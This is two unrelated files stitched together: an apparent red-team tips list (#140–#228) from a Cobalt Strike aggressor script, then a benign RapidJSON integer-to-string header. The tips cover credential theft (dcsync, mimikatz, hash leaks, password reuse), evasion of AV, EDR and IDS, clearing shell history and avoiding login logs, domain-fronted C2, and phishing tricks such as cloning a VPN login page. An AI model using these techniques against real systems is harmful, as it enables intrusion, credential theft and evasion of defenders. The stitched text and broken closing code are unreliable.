%(tips => 'Red tip #140: If enemy does not use proxy with TLS inspection then you can use https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/ to mask your c2 channel further', tags => @(
'redteam', '#140', 'proxy', 'TLS', 'c2', 'domains'
)
),
%(tips => 'Red tip #141: On a Linux box and want to egress from it over a proxy? Use ProxyTunnel to pipe SSH - https://github.com/proxytunnel/proxytunnel', tags => @(
'redtip', '#141', 'linux', 'egress', 'proxy', 'Tunnel', 'SSH'
)
),
%(tips => 'Red tip #142: Need some OSINT? Keep Spiderfoot running long term to accompany your manual OSINT sources http://www.spiderfoot.net', tags => @(
'redtip', '#142', 'OSINT', 'Spiderfoot'
)
),
%(tips => 'Red tip #143: OSINTing? TheHarvester does a decent job at subdomains. Though theres better ways to get emails bulk. https://github.com/laramies/theHarvester', tags => @(
'redtip', '#143', 'OSINT', 'Harvester', 'subdomains', 'emails'
)
),
%(tips => 'Red tip #144: Exploring and want to use WMI? https://www.microsoft.com/en-us/download/details.aspx?id=8572 is pretty useful for exploring the different namespaces and classes.', tags => @(
'redtip', '#144', 'WMI', 'namespace', 'classes'
)
),
%(tips => 'Red tip #145: Need to reset a password? Do it then quickly dcsync for previous password hash and use NTLMinject - https://github.com/vletoux/NTLMInjector', tags => @(
'redtip', '#145', 'password', 'dcsync', 'hash', 'NTLM', 'inject'
)
),
%(tips => 'Red tip #146: IDS flagging known payload binary blob? Base64 encode it in your payload and use certutil, PS or VB to decode it!', tags => @(
'redtip', '#146', 'IDS', 'payload', 'binary', 'base64', 'certutil'
)
),
%(tips => 'Red tip #147: Test your phishing campaigns before sending!!!', tags => @(
'redtip', '#147', 'phishing', 'campaign', 'email'
)
),
%(tips => 'Red tip #148: If youre sending into Exchange, make sure your SMTP server is not in SPAM list or black lists. Check junk mails mail headers', tags => @(
'redtip', '#148', 'Exchange', 'SMTP', 'SPAM', 'email'
)
),
%(tips => 'Red tip #149: Use Microsofts Message Header Analyzer to parse and review email headers from Outlook. https://testconnectivity.microsoft.com/MHA/Pages/mha.aspx', tags => @(
'redtip', '#149', 'Microsoft', 'message', 'email', 'Outlook'
)
),
%(tips => 'Red tip #150: Make sure phishing emails Bounce header matches From. Or else some will flag as malicious.', tags => @(
'redtip', '#150', 'phishing', 'emails', 'flag', 'header'
)
),
%(tips => 'Red tip #151: DomainHunter also looks for good candidate expired domains - https://github.com/minisllc/domainhunter', tags => @(
'redtip', '#151', 'Domain', 'Hunter', 'domains'
)
),
%(tips => 'Red tip #152: Want to scrape MetaData in CLI? Use PowerMeta. Linux users can use PowerShell too! https://github.com/dafthack/PowerMeta', tags => @(
'redtip', '#152', 'MetaData', 'CLI', 'linux', 'PowerShell'
)
),
%(tips => 'Red tip #153: RDP in use? Dont want to use VNC? Try mimikatzs ts::multirdp in memory patch by @gentilkiwi', tags => @(
'redtip', '#153', 'RDP', 'VNC', 'mimikatz', 'memory'
)
),
%(tips => 'Red tip #154: Admin on a machine with VPN client? certificate extraction using Mimikatz by @gentilkiwi. Dont forget to dl configs. Backdoor', tags => @(
'redtip', '#154', 'Admin', 'machine', 'VPN', 'certificate', 'mimikatz', 'backdoor'
)
),
%(tips => 'Red tip #155: Master all the quick wins to Domain privilege escalation. When youre pressured to get DA in 15 mins, you want to know you can', tags => @(
'redtip', '#155', 'domain', 'privesc', 'DA', 'escalation'
)
),
%(tips => 'Red tip #156: @Akijos notes that we should be careful when using silver tickets with scheduled tasks. Author is the user account youre on.', tags => @(
'redtip', '#156', 'silver', 'tickets', 'account', 'user'
)
),
%(tips => 'Red tip #157: If you dont need a golden ticket, dont generate it.', tags => @(
'redtip', '#157', 'golden', 'ticket', 'generate'
)
),
%(tips => 'Red tip #158: Scan a DNS server for Alexa top 1 million spoofable domains :) Ive got a massive list, do you?', tags => @(
'redtip', '#158', 'DNS', 'server', 'Alexa', 'domains'
)
),
%(tips => 'Red tip #159: Scan the internet for a list of domain frontable domains! Ive got a big big list ready for whenever I want to use them :)', tags => @(
'redtip', '#159', 'scan', 'internet', 'domain', 'fronting'
)
),
%(tips => 'Red tip #160: We all know people share credentials between different services. Try these credentials on other accounts owned by the user!', tags => @(
'redtip', '#160', 'credentials', 'services', 'accounts', 'user'
)
),
%(tips => 'Red tip #161: Cant crack a password? Try the users previous passwords from history in AD. They may follow a pattern.', tags => @(
'redtip', '#161', 'password', 'crack', 'history', 'AD'
)
),
%(tips => 'Red tip #162: Cant crack a hash owned by a user? Take all previously discovered passwords from their files and generate a new word list.', tags => @(
'redtip', '#162', 'hash', 'crack', 'password', 'files', 'wordlist'
)
),
%(tips => 'Red tip #163: Cant crack a password? Make sure these are in your word list: name of company, town, capital, country, months! Appear a lot.', tags => @(
'redtip', '#163', 'crack', 'password', 'wordlist'
)
),
%(tips => 'Red tip #164: Didier Stevens has SelectMyParent tool that lets you spawn a child process with an arbitrary parent. https://blog.didierstevens.com/2017/03/20/that-is-not-my-child-process/', tags => @(
'redtip', '#164', 'tool', 'SelectMyParent', 'process', 'parent'
)
),
%(tips => 'Red tip #165: Using SelectMyParent stops those detections eg. powershell.exe spawning cmd.exe. @armitagehackers CobaltStrike has ppid cmd!', tags => @(
'redtip', '#165', 'powershell.exe', 'cmd.exe', 'detections', 'CobaltStrike'
)
),
%(tips => 'Red tip #166: Use PowerPoint mouse over text to invoke a powershell command one liner. #adversarysimulation - https://www.dodgethissecurity.com/2017/06/02/new-powerpoint-mouseover-based-downloader-analysis-results/', tags => @(
'redtip', '#166', 'PowerPoint', 'powershell', 'one-liner', 'adversary'
)
),
%(tips => 'Red tip #167: Follow @mattifestation to keep up to date with blue team advances. Just in case blue is actually up to date with mitigations!', tags => @(
'redtip', '#167', 'mitigation', 'mattifestation', 'blue', 'team'
)
),
%(tips => 'Red tip #168: Using VBS or JS? Cant stage using PowerShell.exe as blocked? @Cneelis released https://github.com/Cn33liz/StarFighters so you can keep use PS', tags => @(
'redtip', '#168', 'VBS', 'JS', 'powershell', 'stage', 'StarFighters'
)
),
%(tips => 'Red tip #169: Not sure who uses Wi-Fi webcams but go run a mass deauth attack if youre going to plan on breaking in physically to discon', tags => @(
'redtip', '#169', 'WiFi', 'webcam', 'deauth', 'physical'
)
),
%(tips => 'Red tip #170: @malcomvetter Never use defaults - run Mimikatz with AES and 8 hour tickets to avoid passive detection from NG defense tools!', tags => @(
'redtip', '#170', '', '', ''
)
),
%(tips => 'Red tip #171: Win XP doesnt have PowerShell? Try using Unmanaged powershell to keep using your favourite scripts!', tags => @(
'redtip', '#171', 'XP', 'powershell', 'unmanaged', 'scripts'
)
),
%(tips => 'Red tip #172: @anthonykasza tells us that the at.exe command takes base64 encoded Params! Eg. at.exe b64::[encoded params]', tags => @(
'redtip', '#172', 'at', 'command', 'base64', 'encoded'
)
),
%(tips => 'Red tip #173: Grab cleartext wireless keys: netsh wlan show profile name="ssid" key=clear', tags => @(
'redtip', '#173', 'wireless', 'netsh', 'wlan', 'ssid'
)
),
%(tips => 'Red tip #174: Got a shell on a victim without admin? Want their creds? Try Inveigh then rpcping -s 127.0.0.1 -t ncacn_np to leak hash.', tags => @(
'redtip', '#174', 'shell', 'admin', 'creds', 'Inveigh', 'rpcping'
)
),
%(tips => 'Red tip #175: Got a low priv shell and need creds? Use Invoke-LoginPrompt by @enigma0x3 https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1', tags => @(
'redtip', '#175', 'shell', 'creds', 'Login', 'Prompt'
)
),
%(tips => 'Red tip #176: Get access to shadow admin accounts, they can DCsync and are essentially DA. https://www.cyberark.com/threat-research-blog/shadow-admins-stealthy-accounts-fear/', tags => @(
'redtip', '#176', 'access', 'shadow', 'admin', 'accounts', 'dcsync', 'DA'
)
),
%(tips => 'Red tip #177: If blue detects PTH. Try extract Kerberos tickets and PTT.', tags => @(
'redtip', '#177', 'blue', 'PTH', 'kerberos', 'tickets', 'PTT'
)
),
%(tips => 'Red tip #178: @lefterispan wrote https://gist.github.com/leftp/a3330f13ac55f584239baa68a3bb88f2 … which sets up a proxy and forces an auth attempt to it to leak hash. Low priv leak.', tags => @(
'redtip', '#178', 'proxy', 'auth', 'hash'
)
),
%(tips => 'Red tip #179: When creating phishing pages, try cloning and modifying parts of the client’s own webpages. For example of their VPN login!', tags => @(
'redtip', '#179', 'phish', 'cloning', 'webpage', 'VPN', 'login'
)
),
%(tips => 'Red tip #180: Regardless of whether there are known defenses. Run your PS scripts through Obfuscation before loading into memory.', tags => @(
'redtip', '#180', 'defenses', 'powershell', 'scripts', 'Obfuscation', 'memory'
)
),
%(tips => 'Red tip #181: Stuck trying to find those assets still? Try @424f424f Get-BrowserData https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1', tags => @(
'redtip', '#181', 'assets', 'Browser', 'data', 'powershell'
)
),
%(tips => 'Red tip #182: Follow @JohnLaTwC as he tweets phishing examples and sometimes with new techniques used in Wild. Good for adversary simulation', tags => @(
'redtip', '#182', 'phishing', 'adversary', 'simulation'
)
),
%(tips => 'Red tip #183: @MrUn1k0d3r released https://github.com/Mr-Un1k0d3r/SCT-obfuscator … can probably bypass Gateway signatures when performing SCT delivery for regsvr32! https://github.com/Mr-Un1k0d3r/SCT-obfuscator', tags => @(
'redtip', '#183', 'SCT', 'bypass', 'delivery', 'regsvr32'
)
),
%(tips => 'Red tip #184: We always talk about Windows and AD. But now let’s have a look at Linux and AD with https://medium.com/@br4nsh/from-linux-to-ad-10efb529fae9', tags => @(
'redtip', '#184', 'windows', 'AD', 'linux'
)
),
%(tips => 'Red tip #185: Use WSUS for lateral movement https://github.com/AlsidOfficial/WSUSpendu/blob/master/WSUSpendu.ps1', tags => @(
'redtip', '#185', 'WSUS', 'lateral movement', 'pivot'
)
),
%(tips => 'Red tip #186: View @jpcert https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf … and look at all those indicators and artifacts left behind. Then hexedit those tools :+1:', tags => @(
'redtip', '#186', 'artifacts', 'research', 'hexedit'
)
),
%(tips => 'Red tip #187: Found a portal using 2FA? Using RSA SecureID? https://blog.netspi.com/targeting-rsa-emergency-access-tokencodes-fun-profit/ … Pin bruteforce!', tags => @(
'redtip', '#187', 'portal', 'web', 'secureID'
)
),
%(tips => 'Red tip #188: @pwnagelabs says to avoid bash history on exit using: kill -9 $$', tags => @(
'redtip', '#188', 'bash', 'history', 'kill'
)
),
%(tips => 'Red tip #189: @pwnagelabs teaches us how to avoid wtmp logging with: ssh -l user target -T', tags => @(
'redtip', '#189', 'wtmp', 'logging', 'ssh'
)
),
%(tips => 'Red tip #190: @bluscreenofjeff shows us how to use Apache Mod rewrite to randomly serve different payloads https://bluescreenofjeff.com/2017-06-13-serving-random-payloads-with-apache-mod_rewrite/', tags => @(
'redtip', '#190', 'Apache', 'payload', 'rewrite', 'jeff'
)
),
%(tips => 'Red tip #191: Domain user? Query LDAP for Printers. Attempt default creds or known vulns then read Service account creds, hash or relay', tags => @(
'redtip', '#191', 'domain', 'LDAP', 'Printers', 'creds', 'vulns', 'account', 'hash'
)
),
%(tips => 'Red tip #192: Get-WmiObject -Class MicrosoftDNS_AType -NameSpace Root\MicrosoftDNS -ComputerName DC001 | Export-CSV -not dns.csv', tags => @(
'redtip', '#192', 'gmwi', 'wmi', 'DNS', 'csv'
)
),
%(tips => 'Red tip #193: Password protected doc in email? For some reason a lot of people send the password separately to the same inbox. #epicfail', tags => @(
'redtip', '#193', 'password', 'doc', 'email', 'inbox'
)
),
%(tips => 'Red tip #194: Can’t see another part of the network and there’s a DC? Pivot off the DC :)', tags => @(
'redtip', '#194', 'network', 'DC', 'pivot'
)
),
%(tips => 'Red tip #195: C:\windows\system32\inetsrv\appcmd list site to find IIS bindings.', tags => @(
'redtip', '#195', 'appcmd', 'IIS'
)
),
%(tips => 'Red tip #196: DA -> Locate DB -> Found MSSQL? https://github.com/NetSPI/PowerUpSQL use PowerUpSQL to enumerate and privesc by stealing tokens.', tags => @(
'redtip', '#196', 'DA', 'DB', 'MSSQL', 'PowerUpSQL', 'enumerate', 'privesc'
)
),
%(tips => 'Red tip #197: If ACL doesn’t let you read other users’ home shares, you can try net view \fileserv /all to try other shares and folders!', tags => @(
'redtip', '#197', 'ACL', 'shares', 'net', 'view', 'folders'
)
),
%(tips => 'Red tip #198: Username jondoe and jondoe-x? Ones an Admin? Try same password. May be shared :sunglasses: repeat for entire user list.', tags => @(
'redtip', '#198', 'username', 'Admin', 'password', 'shared', 'list'
)
),
%(tips => 'Red tip #199: Failed to phish? Payloads failing? Mac users? Write an email and ask them to open terminal and paste in python Empyre one line', tags => @(
'redtip', '#199', 'phish', 'payload', 'mac', 'users', 'email', 'python', 'Empyre'
)
),
%(tips => 'Red tip #200: @_wald0 blessed us with this BH cypher query to skip specific nodes to look for other paths. https://pastebin.com/qAzH9uji', tags => @(
'redtip', '#200', 'BH', 'cypher', 'nodes'
)
),
%(tips => 'Red tip #201: @424f424f pushed some research into LNK files inside CAB can be used to bypass the Attachment Manager :+1:http://www.rvrsh3ll.net/blog/informational/bypassing-windows-attachment-manager/', tags => @(
'redtip', '#201', 'research', 'LNK', 'CAB', 'bypass'
)
),
%(tips => 'Red tip #202: When domain fronting, your calls hit the edge node, so every domain you use potentially hits a different a IP! :sunglasses:', tags => @(
'redtip', '#202', 'domain', 'fronting', 'IP', 'node'
)
),
%(tips => 'Red tip #203: If using @Cneelis StarFighter. Instead of using a staged web delivery, just stick while stageless payload as encoded block in!', tags => @(
'redtip', '#203', 'StarFighter', 'web', 'delivery', 'payload', 'encoded'
)
),
%(tips => 'Red tip #204: Printers are often good MAC addresses to use to beat NAC when physical red teaming as printers (mostly?) don’t support 802.1x', tags => @(
'redtip', '#204', 'Printers', 'MAC', 'addresses', '802.1x'
)
),
%(tips => 'Red tip #205: If proxy is blocking SCT file, replace with and add around the rest. Thx @subTee', tags => @(
'redtip', '#205', 'proxy', 'SCT', 'file'
)
),
%(tips => 'Red tip #206: CobaltStrike VNC not working? Here is a workaround using @artkond Invoke-VNC https://github.com/vysec/Aggressor-VYSEC/blob/master/vnc-psh.cna', tags => @(
'redtip', '#206', 'cobaltstrike', 'VNC', 'Invoke-VNC'
)
),
%(tips => 'Red tip #207: Got C2 on Windows user but no credentials? Leak a hash using @leftp code. Implemented into CNA https://github.com/vysec/Aggressor-VYSEC/blob/master/Invoke-CredLeak.ps1', tags => @(
'redtip', '#207', 'C2', 'windows', 'user', 'credentials', 'hash'
)
),
%(tips => 'Red tip #208: @Nebulator spoke on IP regex by IR at #SnoopCon. @armitagehacker CNA to automate https://github.com/vysec/Aggressor-VYSEC/blob/master/ping.cna', tags => @(
'redtip', '#208', 'IP', 'regex', 'IR', 'ping', 'cna'
)
),
%(tips => 'Red tip #209: Automate environment prepping and spawn all processes as a child of explorer.exe by @armitagehacker https://github.com/vysec/Aggressor-VYSEC/blob/master/auto-prepenv.cna', tags => @(
'redtip', '#209', 'automate', 'environment', 'processes', 'explorer.exe'
)
),
%(tips => 'Red tip #210: @subTee highlighted to us that XML requests can be used as a download cradle in constrained language mode!', tags => @(
'redtip', '#210', 'XML', 'download', 'cradle', 'language'
)
),
%(tips => 'Red tip #211: Check out @armitagehacker post on OPSEC considerations when using a CobaltStrike beacon. https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/', tags => @(
'redtip', '#211', 'cobaltstrike', 'beacon', 'opsec'
)
),
%(tips => 'Red tip #212: Reset AD passwords from Linux with @mubix https://room362.com/post/2017/reset-ad-user-password-with-linux/ :) proxychains it over your pivot :D', tags => @(
'redtip', '#212', 'AD', 'password', 'linux', 'proxychains', 'pivot'
)
),
%(tips => 'Red tip #213: Got a NetNTLMv1 hash? Convert it to NTLM by cracking three DES keys: https://hashcat.net/forum/thread-5912.html', tags => @(
'redtip', '#213', 'NTLM', 'hash', 'cracking', 'DES'
)
),
%(tips => 'Red tip #214: If you don’t 100 percent understand NETNTLMv1 and v2 read up on https://blog.smallsec.ca/2016/11/21/ntlm-challenge-response/', tags => @(
'redtip', '#214', 'NTLM', 'NTLMv2', 'blog', 'hashing'
)
),
%(tips => 'Red tip #215: If you don’t know how LM and NTLM hashing works... go back to basics with https://blog.smallsec.ca/2016/11/07/windows-credentials/', tags => @(
'redtip', '#215', 'LM', 'NTLM', 'hashing', 'windows', 'credentials'
)
),
%(tips => 'Red tip #216: @424f424f just made me aware that FireEye can prevent runas from executing. Use unmanaged PS to spawn https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/RunAs.ps1', tags => @(
'redtip', '#216', 'FireEye', 'runas', 'unmanaged', 'powershell'
)
),
%(tips => 'Red tip #217: S4U can be used to delegate across SPN. So if you have msds-allowedtodelagateto HTTP you can exploit to obtain HOST and CIFS', tags => @(
'redtip', '#217', 'S4U', 'SPN', 'HTTP', 'host', 'CIFS'
)
),
%(tips => 'Red tip #218: You’re in a subnet where people RDP into but you can’t attack outwards? Set backdoor over tsclient on start keys. :sunglasses:', tags => @(
'redtip', '#218', 'subnet', 'RDP', 'backdoor', 'tsclient'
)
),
%(tips => 'Red tip #219: Unsure what the localised admin account might be called or need to copy and paste? Check out https://social.technet.microsoft.com/wiki/contents/articles/13813.localized-names-for-administrator-account-in-windows.aspx', tags => @(
'redtip', '#219', 'admin', 'account', 'windows', 'copy', 'paste'
)
),
%(tips => 'Red tip #220: EDR monitoring “whoami”? Use echo %userprofile%; echo %username%. Or replace echo with anything that reflects error: ie. set', tags => @(
'redtip', '#220', 'EDR', 'whoami', 'echo', 'environment variables', 'set'
)
),
%(tips => 'Red tip #221: Network segregation in play? Try Get-NetSubnet, Get-NetSite in PowerView or browse in AD explorer. Can help find your way :)', tags => @(
'redtip', '#221', 'Network', 'segregation', 'Netsite', 'PowerView', 'AD'
)
),
%(tips => 'Red tip #222: If you want to simulate MBR activity like #Petya, check out https://github.com/PowerShellMafia/PowerSploit/blob/master/Mayhem/Mayhem.psm1', tags => @(
'redtip', '#222', 'MBR', 'Petya', 'Mayhem', 'activity'
)
),
%(tips => 'Red tip #223: Secure your beach heads against #Petya WMIC /node:host process call create “echo > C:\windows\perfc”', tags => @(
'redtip', '#223', 'wmic', 'Petya', 'host', 'process', 'echo'
)
),
%(tips => 'Red tip #224: Using Linux? Modify /etc/dhcp/dhclient.conf and remove gethostname() for Opsec when you VPN or have to rock up on site.', tags => @(
'redtip', '#224', 'linux', 'dhcp', 'opsec', 'VPN', 'site'
)
),
%(tips => 'Red tip #225: Stuck in a heavily segregated situation on a server? Try RDPInception attack vector out https://www.mdsec.co.uk/2017/06/rdpinception/', tags => @(
'redtip', '#225', 'segregated', 'server', 'RDP',
)
),
%(tips => 'Red tip #226: Reduce AV detection by using fake Microsoft certificate.', tags => @(
'redtip', '#226', 'AV', 'microsoft', 'certificate', 'detection'
)
),
%(tips => 'Red tip #227: Not using notifications yet for C2 events? For @armitagehacker Cobalt Strike check out', tags => @(
'redtip', '#227', 'notifications', 'C2', 'events', 'CobaltStrike'
)
),
%(tips => 'Red tip #228: Need a fully fledged phishing framework? Check out the amazing Fierce Phish by @Raikiasec <3 https://github.com/Raikia/FiercePhish', tags => @(
'redtip', '#228', 'phishing', 'framework', 'FiercePhish', 'King', 'Raikiasec'
)
),
);
sub get_database {
return @database;
return @tips;
}
| 85,495 | defs | cna | en | unknown | unknown | {} | 0 | {} |
0015/esp_rlottie | rlottie/src/lottie/rapidjson/internal/itoa.h | // Tencent is pleased to support the open source community by making RapidJSON available.
//
// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. All rights reserved.
//
// Licensed under the MIT License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://opensource.org/licenses/MIT
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#ifndef RAPIDJSON_ITOA_
#define RAPIDJSON_ITOA_
#include "../rapidjson.h"
RAPIDJSON_NAMESPACE_BEGIN
namespace internal {
inline const char* GetDigitsLut() {
static const char cDigitsLut[200] = {
'0','0','0','1','0','2','0','3','0','4','0','5','0','6','0','7','0','8','0','9',
'1','0','1','1','1','2','1','3','1','4','1','5','1','6','1','7','1','8','1','9',
'2','0','2','1','2','2','2','3','2','4','2','5','2','6','2','7','2','8','2','9',
'3','0','3','1','3','2','3','3','3','4','3','5','3','6','3','7','3','8','3','9',
'4','0','4','1','4','2','4','3','4','4','4','5','4','6','4','7','4','8','4','9',
'5','0','5','1','5','2','5','3','5','4','5','5','5','6','5','7','5','8','5','9',
'6','0','6','1','6','2','6','3','6','4','6','5','6','6','6','7','6','8','6','9',
'7','0','7','1','7','2','7','3','7','4','7','5','7','6','7','7','7','8','7','9',
'8','0','8','1','8','2','8','3','8','4','8','5','8','6','8','7','8','8','8','9',
'9','0','9','1','9','2','9','3','9','4','9','5','9','6','9','7','9','8','9','9'
};
return cDigitsLut;
}
inline char* u32toa(uint32_t value, char* buffer) {
RAPIDJSON_ASSERT(buffer != 0);
const char* cDigitsLut = GetDigitsLut();
if (value < 10000) {
const uint32_t d1 = (value / 100) << 1;
const uint32_t d2 = (value % 100) << 1;
if (value >= 1000)
*buffer++ = cDigitsLut[d1];
if (value >= 100)
*buffer++ = cDigitsLut[d1 + 1];
if (value >= 10)
*buffer++ = cDigitsLut[d2];
*buffer++ = cDigitsLut[d2 + 1];
}
else if (value < 100000000) {
// value = bbbbcccc
const uint32_t b = value / 10000;
const uint32_t c = value % 10000;
const uint32_t d1 = (b / 100) << 1;
const uint32_t d2 = (b % 100) << 1;
const uint32_t d3 = (c / 100) << 1;
const uint32_t d4 = (c % 100) << 1;
if (value >= 10000000)
*buffer++ = cDigitsLut[d1];
if (value >= 1000000)
*buffer++ = cDigitsLut[d1 + 1];
if (value >= 100000)
*buffer++ = cDigitsLut[d2];
*buffer++ = cDigitsLut[d2 + 1];
*buffer++ = cDigitsLut[d3];
*buffer++ = cDigitsLut[d3 + 1];
*buffer++ = cDigitsLut[d4];
*buffer++ = cDigitsLut[d4 + 1];
}
else {
// value = aabbbbcccc in decimal
const uint32_t a = value / 100000000; // 1 to 42
value %= 100000000;
if (a >= 10) {
const unsigned i = a << 1;
*buffer++ = cDigitsLut[i];
*buffer++ = cDigitsLut[i + 1];
}
else
*buffer++ = static_cast<char>('0' + static_cast<char>(a));
const uint32_t b = value / 10000; // 0 to 9999
const uint32_t c = value % 10000; // 0 to 9999
const uint32_t d1 = (b / 100) << 1;
const uint32_t d2 = (b % 100) << 1;
const uint32_t d3 = (c / 100) << 1;
const uint32_t d4 = (c % 100) << 1;
*buffer++ = cDigitsLut[d1];
*buffer++ = cDigitsLut[d1 + 1];
*buffer++ = cDigitsLut[d2];
*buffer++ = cDigitsLut[d2 + 1];
*buffer++ = cDigitsLut[d3];
*buffer++ = cDigitsLut[d3 + 1];
*buffer++ = cDigitsLut[d4];
*buffer++ = cDigitsLut[d4 + 1];
}
return buffer;
}
inline char* i32toa(int32_t value, char* buffer) {
RAPIDJSON_ASSERT(buffer != 0);
uint32_t u = static_cast<uint32_t>(value);
if (value < 0) {
*buffer++ = '-';
u = ~u + 1;
}
return u32toa(u, buffer);
}
inline char* u64toa(uint64_t value, char* buffer) {
RAPIDJSON_ASSERT(buffer != 0);
const char* cDigitsLut = GetDigitsLut();
const uint64_t kTen8 = 100000000;
const uint64_t kTen9 = kTen8 * 10;
const uint64_t kTen10 = kTen8 * 100;
const uint64_t kTen11 = kTen8 * 1000;
const uint64_t kTen12 = kTen8 * 10000;
const uint64_t kTen13 = kTen8 * 100000;
const uint64_t kTen14 = kTen8 * 1000000;
const uint64_t kTen15 = kTen8 * 10000000;
const uint64_t kTen16 = kTen8 * kTen8;
if (value < kTen8) {
uint32_t v = static_cast<uint32_t>(value);
if (v < 10000) {
const uint32_t d1 = (v / 100) << 1;
const uint32_t d2 = (v % 100) << 1;
if (v >= 1000)
*buffer++ = cDigitsLut[d1];
if (v >= 100)
*buffer++ = cDigitsLut[d1 + 1];
if (v >= 10)
*buffer++ = cDigitsLut[d2];
*buffer++ = cDigitsLut[d2 + 1];
}
else {
// value = bbbbcccc
const uint32_t b = v / 10000;
const uint32_t c = v % 10000;
const uint32_t d1 = (b / 100) << 1;
const uint32_t d2 = (b % 100) << 1;
const uint32_t d3 = (c / 100) << 1;
const uint32_t d4 = (c % 100) << 1;
if (value >= 10000000)
*buffer++ = cDigitsLut[d1];
if (value >= 1000000)
*buffer++ = cDigitsLut[d1 + 1];
if (value >= 100000)
*buffer++ = cDigitsLut[d2];
*buffer++ = cDigitsLut[d2 + 1];
*buffer++ = cDigitsLut[d3];
*buffer++ = cDigitsLut[d3 + 1];
*buffer++ = cDigitsLut[d4];
*buffer++ = cDigitsLut[d4 + 1];
}
}
else if (value < kTen16) {
const uint32_t v0 = static_cast<uint32_t>(value / kTen8);
const uint32_t v1 = static_cast<uint32_t>(value % kTen8);
const uint32_t b0 = v0 / 10000;
const uint32_t c0 = v0 % 10000;
const uint32_t d1 = (b0 / 100) << 1;
const uint32_t d2 = (b0 % 100) << 1;
const uint32_t d3 = (c0 / 100) << 1;
const uint32_t d4 = (c0 % 100) << 1;
const uint32_t b1 = v1 / 10000;
const uint32_t c1 = v1 % 10000;
const uint32_t d5 = (b1 / 100) << 1;
const uint32_t d6 = (b1 % 100) << 1;
const uint32_t d7 = (c1 / 100) << 1;
const uint32_t d8 = (c1 % 100) << 1;
if (value >= kTen15)
*buffer++ = cDigitsLut[d1];
if (value >= kTen14)
*buffer++ = cDigitsLut[d1 + 1];
if (value >= kTen13)
*buffer++ = cDigitsLut[d2];
if (value >= kTen12)
*buffer++ = cDigitsLut[d2 + 1];
if (value >= kTen11)
*buffer++ = cDigitsLut[d3];
if (value >= kTen10)
*buffer++ = cDigitsLut[d3 + 1];
if (value >= kTen9)
*buffer++ = cDigitsLut[d4];
*buffer++ = cDigitsLut[d4 + 1];
*buffer++ = cDigitsLut[d5];
*buffer++ = cDigitsLut[d5 + 1];
*buffer++ = cDigitsLut[d6];
*buffer++ = cDigitsLut[d6 + 1];
*buffer++ = cDigitsLut[d7];
*buffer++ = cDigitsLut[d7 + 1];
*buffer++ = cDigitsLut[d8];
*buffer++ = cDigitsLut[d8 + 1];
}
else {
const uint32_t a = static_cast<uint32_t>(value / kTen16); // 1 to 1844
value %= kTen16;
if (a < 10)
*buffer++ = static_cast<char>('0' + static_cast<char>(a));
else if (a < 100) {
const uint32_t i = a << 1;
*buffer++ = cDigitsLut[i];
*buffer++ = cDigitsLut[i + 1];
}
else if (a < 1000) {
*buffer++ = static_cast<char>('0' + static_cast<char>(a / 100));
const uint32_t i = (a % 100) << 1;
*buffer++ = cDigitsLut[i];
*buffer++ = cDigitsLut[i + 1];
}
else {
const uint32_t i = (a / 100) << 1;
const uint32_t j = (a % 100) << 1;
*buffer++ = cDigitsLut[i];
*buffer++ = cDigitsLut[i + 1];
*buffer++ = cDigitsLut[j];
*buffer++ = cDigitsLut[j + 1];
}
const uint32_t v0 = static_cast<uint32_t>(value / kTen8);
const uint32_t v1 = static_cast<uint32_t>(value % kTen8);
const uint32_t b0 = v0 / 10000;
const uint32_t c0 = v0 % 10000;
const uint32_t d1 = (b0 / 100) << 1;
const uint32_t d2 = (b0 % 100) << 1;
const uint32_t d3 = (c0 / 100) << 1;
const uint32_t d4 = (c0 % 100) << 1;
const uint32_t b1 = v1 / 10000;
const uint32_t c1 = v1 % 10000;
const uint32_t d5 = (b1 / 100) << 1;
const uint32_t d6 = (b1 % 100) << 1;
const uint32_t d7 = (c1 / 100) << 1;
const uint32_t d8 = (c1 % 100) << 1;
*buffer++ = cDigitsLut[d1];
*buffer++ = cDigitsLut[d1 + 1];
*buffer++ = cDigitsLut[d2];
*buffer++ = cDigitsLut[d2 + 1];
*buffer++ = cDigitsLut[d3];
*buffer++ = cDigitsLut[d3 + 1];
*buffer++ = cDigitsLut[d4];
*buffer++ = cDigitsLut[d4 + 1];
*buffer++ = cDigitsLut[d5];
*buffer++ = cDigitsLut[d5 + 1];
*buffer++ = cDigitsLut[d6];
*buffer++ = cDigitsLut[d6 + 1];
*buffer++ = cDigitsLut[d7];
*buffer++ = cDigitsLut[d7 + 1];
*buffer++ = cDigitsLut[d8];
*buffer++ = cDigitsLut[d8 + 1];
}
return buffer;
}
inline char* i64toa(int64_t value, char* buffer) {
RAPIDJSON_ASSERT(buffer != 0);
uint64_t u = static_cast<uint64_t>(value);
if (value < 0) {
*buffer++ = '-';
u = ~u + 1;
}
return u64toa(u, buffer);
}
} // namespace internal
RAPIDJSON_NAMESPACE_END
#endif // RAPIDJSON_ITOA_
